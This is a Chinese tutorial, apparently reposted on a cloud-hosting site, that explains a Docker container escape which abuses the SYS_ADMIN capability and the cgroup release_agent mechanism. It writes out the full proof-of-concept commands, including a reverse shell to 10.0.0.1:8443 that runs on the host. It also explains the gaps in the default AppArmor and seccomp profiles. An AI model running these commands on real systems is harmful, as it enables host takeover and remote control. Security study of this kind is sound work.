中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Docker SYS_ADMIN容器逃逸原理舉例分析

發布時間:2021-12-13 11:34:08 來源:億速云 閱讀:389 作者:iii 欄目:安全技術

本篇內容主要講解“Docker SYS_ADMIN容器逃逸原理舉例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Docker SYS_ADMIN容器逃逸原理舉例分析”吧!

前言

Docker容器的不安全配置可能導致應用存在容器逃逸漏洞。本文將詳細介紹利用SYS_ADMIN Capability進行容器逃逸的原理。

Docker容器不同于虛擬機,它共享宿主機操作系統內核。宿主機和容器之間通過內核命名空間(namespaces)、內核Capabilities、CGroups(control groups)等技術進行隔離。

Linux內核在2.2版本之后,將root權限細分成了多個被稱為Capability的單元。比如,Docker容器里可能需要把Web server綁定到值小于1024的端口上,這個操作需要的Capability是“CAP_NET_BIND_SERVICE”,如果給執行Web server的用戶授予這個Capability,那么在綁定端口的時候,Web server就不需要以root用戶運行了。

在大部分情況下,容器里的進程不需要以“完整”的root用戶運行,Docker給容器內root賬號只授予了幾個默認的Capabilities,其他的禁用。這意味著容器里的root用戶權限比宿主機上真正的root用戶權限要小的多。

而在實際的使用過程中,很多用戶會違背Docker的這些安全防護配置原則。比如為了方便,容器以root用戶啟動,同時為了執行一些特權操作,給root用戶額外授權一些Capability,例如SYS_ADMIN。

如果一個Docker容器的啟動方式滿足以下條件,攻擊者在容器中就可以逃逸到宿主機上。

  1. 以root用戶的身份在容器內運行;

  2. 容器啟用SYS_ADMIN Capability;

  3. 容器沒有啟用Docker默認的AppArmor配置文件docker-default,或者AppArmor允許運行mount syscall;

其中,條件1和2是必需的,而條件3在某些宿主機上比較容易滿足,比如CentOS等Red Hat系的Linux操作系統上默認沒有安裝AppArmor。

例如以下面的命令開啟一個Ubuntu容器:

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

其中,”--cap-add=SYS_ADMIN“表示給Docker容器SYS_ADMIN的Capability。“--security-opt apparmor=unconfined”表示去除Docker默認的AppArmor配置。

攻擊者可以在容器內通過掛載宿主機cgroup,并利用cgroup notify_on_release的特性在宿主機執行shell,從而實現容器逃逸。執行步驟如下:

  1. 容器內掛載宿主機cgroup,并自定義一個cgroup;

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. 配置該cgroup的notify_no_release和release_agent;

echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

這里使用了sh tcp的反彈shell來逃逸容器,也可以執行其他任意linux shell命令。

  1. 觸發release_agent執行。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

下面詳細說明一下各個步驟的操作和原理。

0x01 掛載宿主機cgroup

漏洞利用第一步是掛載宿主機的memory cgroup。

cgroup(control group、控制群組)是 Linux kernel一項進行資源分配(如 CPU 時間、系統內存、網絡帶寬或者這些資源的組合)的功能。使用mount -t cgroup命令可以查看宿主機當前的cgroup。

Docker SYS_ADMIN容器逃逸原理舉例分析

進到要掛載的memory cgroup里。

Docker SYS_ADMIN容器逃逸原理舉例分析

該文件夾包含了系統管理員對memory資源的配置,其中docker文件夾里包含了docker針對容器memory資源的默認cgroup配置。

0x011 容器cgroup

默認情況下,容器在啟動時會在/sys/fs/cgroup目錄各個subsystem目錄的docker子目錄里,生成以容器 ID 為名字的子目錄

查看宿主機里的memory cgroup目錄,可以看到docker目錄里多了一個目錄9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a,這一串字符是容器ID,這個目錄里的內容就是用戶在容器里查看/sys/fs/cgroup/memory的內容。

Docker SYS_ADMIN容器逃逸原理舉例分析

0x012 mount系統調用

mount命令是一個系統調用(syscall)命令,系統調用號為165。執行syscall需要用戶具備CAP_SYS_ADMIN的Capability。

如果在宿主機啟動時,添加了--cap-add SYS_ADMIN參數,那root用戶就能在容器內部就能執行mount掛載cgroup。(docker默認情況下不會開啟SYS_ADMIN Capability)

0x013 容器內掛載cgroup

漏洞利用的第一步是在容器里創建一個臨時目錄/tmp/cgrp,并使用mount命令將系統默認的memory類型的cgroup重新掛載到/tmp/cgrp上。

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp

其中,-t參數表示mount的類別為cgroup,-o表示掛載的選項。對于cgroup,掛載選項就是cgroup的subsystem,每個subsystem代表一種資源類型,比如cpu、memory。具體可以參考鏈接:cgroup subsystems。

執行該命令之后,宿主機的memory cgroup被掛載到了容器中,對應目錄/tmp/cgrp。

Docker SYS_ADMIN容器逃逸原理舉例分析

需要注意的是,對cgroup進行重新掛載的操作時,只有當被掛載目標的hierarchy為空時才能成功。因此,如果這里memory的重新掛載不成功的話,可以換其他的subsystem。

接著就是在這個cgroup類型里建一個子目錄x。

mkdir /tmp/cgrp/x

查看/tmp/cgrp/x可以發現有很多和memory相關的配置。

Docker SYS_ADMIN容器逃逸原理舉例分析

接下來將使用x來作為POC操作的主要目標。

0x02 notify_no_release

漏洞利用的第二步和notify_no_release有關。cgroup的每一個subsystem都有參數notify_on_release,這個參數值是Boolean型,1或0。分別可以啟動和禁用釋放代理的指令。如果notify_on_release啟用,當cgroup不再包含任何任務時(即,cgroup的tasks文件里的PID為空時),系統內核會執行release_agent參數指定的文件里的內容。

需要注意的是release_agent文件并不在/tmp/cgrp/x目錄里,而是在memory cgroup的根目錄/tmp/cgrp里。這樣的設計可以用來自動移除根cgroup里所有空的cgroup。

將/tmp/cgrp/x的notify_no_release屬性設置為1。

echo 1 > /tmp/cgrp/x/notify_no_release

接著將release_agent指定為容器在宿主機上的cmd文件。具體操作是先獲取docker容器在宿主機上的存儲路徑。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

文件/etc/mtab存儲了容器中實際掛載的文件系統。

Docker SYS_ADMIN容器逃逸原理舉例分析

這里使用sed命令匹配perdir=()之間的非逗號內容,從上圖可以看出,host_path就是docker的overlay存儲驅動上的可寫目錄upperdir.

Docker SYS_ADMIN容器逃逸原理舉例分析

在這個目錄里創建一個cmd文件,并把它作為/tmp/cgrp/x/release_agent參數指定的文件。

echo "$host_path/cmd" > /tmp/cgrp/release_agent

0x03 容器逃逸

接下來,POC將要執行的shell寫到cmd文件里,并賦予執行權限。

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/10.0.0.1/8443 0>&1" >> /cmd
chmod a+x /cmd

最后,POC觸發宿主機執行cmd文件中的shell。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

該命令啟動一個sh進程,將sh進程的PID寫入到/tmp/cgrp/x/cgroup.procs里,這里的\$\$表示sh進程的PID。

在執行完sh -c之后,sh進程自動退出,這樣cgroup /tmp/cgrp/x里不再包含任何任務,/tmp/cgrp/release_agent文件里的shell將被操作系統內核執行。

Docker SYS_ADMIN容器逃逸原理舉例分析

0x04 AppArmor和seccomp

利用SYS_ADMIN權限逃逸Docker容器的關鍵在于容器要能夠掛載宿主機的cgroup。為禁止容器執行mount syscall,Docker在限制用戶Capabilities的基礎上,會默認開啟AppArmor和seccomp這兩個安全防護工具。但關于這兩個工具的配置,Docker給出的默認配置有一些值得注意的“瑕疵”。

0x041 AppArmor

關于AppArmor,CentOS等Red Hat系的Linux操作系統上默認沒有安裝AppArmor。這樣文章開頭提到的漏洞利用條件第3條,“容器必須沒有啟用Docker默認的AppArmor配置文件docker-default,或者AppArmor允許運行mount syscall”,將很容易滿足,不需要顯式地添加“--security-opt apparmor=unconfined”參數。

AppArmor(Application Armor)是Linux內核的一個安全模塊,AppArmor允許系統管理員將每個程序與一個安全配置文件關聯,從而限制程序的功能。簡單的說,AppArmor是與SELinux類似的一個訪問控制系統,通過它用戶可以指定程序可以讀、寫或運行哪些文件,是否可以打開網絡端口等。

比如,Docker官網給出了一個Nginx加固的例子。

profile docker-nginx flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>

  ...

  deny /bin/** wl,
  deny /boot/** wl,
  deny /dev/** wl,
  deny /etc/** wl,
  deny /home/** wl,

  ...

其中,deny /bin/** wl表示阻止/bin目錄下及任意層子目錄下的寫權限,w:寫,l:創建硬鏈接。

Docker采用的默認配置文件是docker-default。它具有適度的保護性,同時提供廣泛的應用程序兼容性。查看該配置文件生成模板,可以發現在第43行配置了禁止容器調用mount。

...

  deny mount,

  deny /sys/[^f]*/** wklx,
  deny /sys/f[^s]*/** wklx,
  deny /sys/fs/[^c]*/** wklx,
  deny /sys/fs/c[^g]*/** wklx,
  deny /sys/fs/cg[^r]*/** wklx,

  ...

這里也可以發現,該配置文件并沒有禁止對/sys/fs/cgroup目錄的讀寫。如果在實際利用過程中,發現容器里無法讀寫cgroup目錄,可以檢查容器是否在AppArmor配置里禁止了對cgroup目錄的讀寫。

Docker默認情況下使用docker-default策略啟動容器。此時,即使使用SYS_ADMIN Capbility運行該容器,它也會阻止容器執行mount系統調用。除非在容器啟動時用參數--security-opt apparmor=unconfined覆蓋配置。

雖然Docker默認的AppArmor配置能很好地阻止容器調用mount,但并不是所有的宿主機都支持AppArmor。對于Debian系的linux,比如Ubuntu,默認安裝了AppArmor和SeLinux。而對于Red hat系的linux,比如CentOS,默認使用SeLinux,沒有安裝AppArmor。這就導致在Red hat系linux宿主機上,有可能不需要容器啟用--security-opt apparmor=unconfined參數也能執行mount系統調用。在某個CentOS測試機上進行測試,結果如下:

Docker SYS_ADMIN容器逃逸原理舉例分析

查看docker info,可以發現安全選項“Security Options”里沒有開啟AppArmor,只開啟了seccomp。因此,在僅添加“--cap-add=SYS_ADMIN”參數的情況下CentOS宿主機仍然能成功執行POC。

Docker SYS_ADMIN容器逃逸原理舉例分析

0x042 seccomp

在上一節的docker info輸出中,可以看到Docker也會有一個默認的seccomp配置。那為什么seccomp沒有能阻止容器調用mount?

這得從Docker默認的seccomp配置說起,在配置模板里,關于mount的配置從第600行開始。

{
			"names": [
				"bpf",
				"clone",
				"fanotify_init",
				"fsconfig",
				"fsmount",
				"fsopen",
				"fspick",
				"lookup_dcookie",
				"mount",
				"move_mount",
				"name_to_handle_at",
				"open_tree",
				"perf_event_open",
				"quotactl",
				"setdomainname",
				"sethostname",
				"setns",
				"syslog",
				"umount",
				"umount2",
				"unshare"
			],
			"action": "SCMP_ACT_ALLOW",
			"args": [],
			"comment": "",
			"includes": {
				"caps": [
					"CAP_SYS_ADMIN"
				]
			},
			"excludes": {}
		},

可以看到,Docker seccomp默認配置僅依靠SYS_ADMIN來限制執行mount系統調用。如果容器啟動時使用了“--cap-add=SYS_ADMIN”參數,那么seccomp就不能很好地防護容器了。

到此,相信大家對“Docker SYS_ADMIN容器逃逸原理舉例分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

罗源县| 福贡县| 广安市| 高阳县| 萍乡市| 丰原市| 乌兰县| 石泉县| 德州市| 和静县| 宁南县| 保靖县| 喀什市| 肇州县| 清流县| 泗水县| 梅州市| 新兴县| 资中县| 龙川县| 海口市| 鹤峰县| 万安县| 石城县| 吕梁市| 文化| 高清| 米林县| 襄城县| 扶余县| 广德县| 静海县| 修武县| 赤城县| 河池市| 沈阳市| 日土县| 扎鲁特旗| 贵德县| 卢湾区| 奇台县|